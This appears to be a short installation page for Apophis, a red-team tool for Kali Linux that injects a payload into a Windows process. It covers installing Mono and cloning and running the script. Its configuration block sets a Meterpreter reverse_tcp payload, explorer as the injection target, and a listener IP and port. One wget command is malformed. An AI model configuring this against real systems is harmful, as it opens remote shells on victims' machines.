> ## Documentation Index
> Fetch the complete documentation index at: https://witchking.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# Installation

> Install Apophis and its dependencies on Kali Linux.

## Install Mono

```bash theme={null}
sudo apt-get install mono-complete
```

If your Linux host can't resolve the IP address:

```bash theme={null}
wget -q -O https://archive.kali.org/archive-key.asc | sudo apt-key add
sudo apt update
sudo apt-get install mono-complete
```

## Clone and Run

```bash theme={null}
git clone https://github.com/tasox/Apophis
chmod +x apophis.sh
./apophis.sh
```

## Configure Static Variables

Open `apophis.sh` and set these variables before running:

| Variable | Description |
| - | - |
| `PROCESS_TO_INJECT` | Remote process name to inject into |
| `MSFVENOM_PAYLOAD` | MSF payload |
| `LHOST` | Listener IP |
| `LPORT` | Listener port |

```bash theme={null}
PROCESS_TO_INJECT="explorer"
MSFVENOM_PAYLOAD="windows/x64/meterpreter/reverse_tcp"
LHOST="192.168.100.128"
LPORT=443
```


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.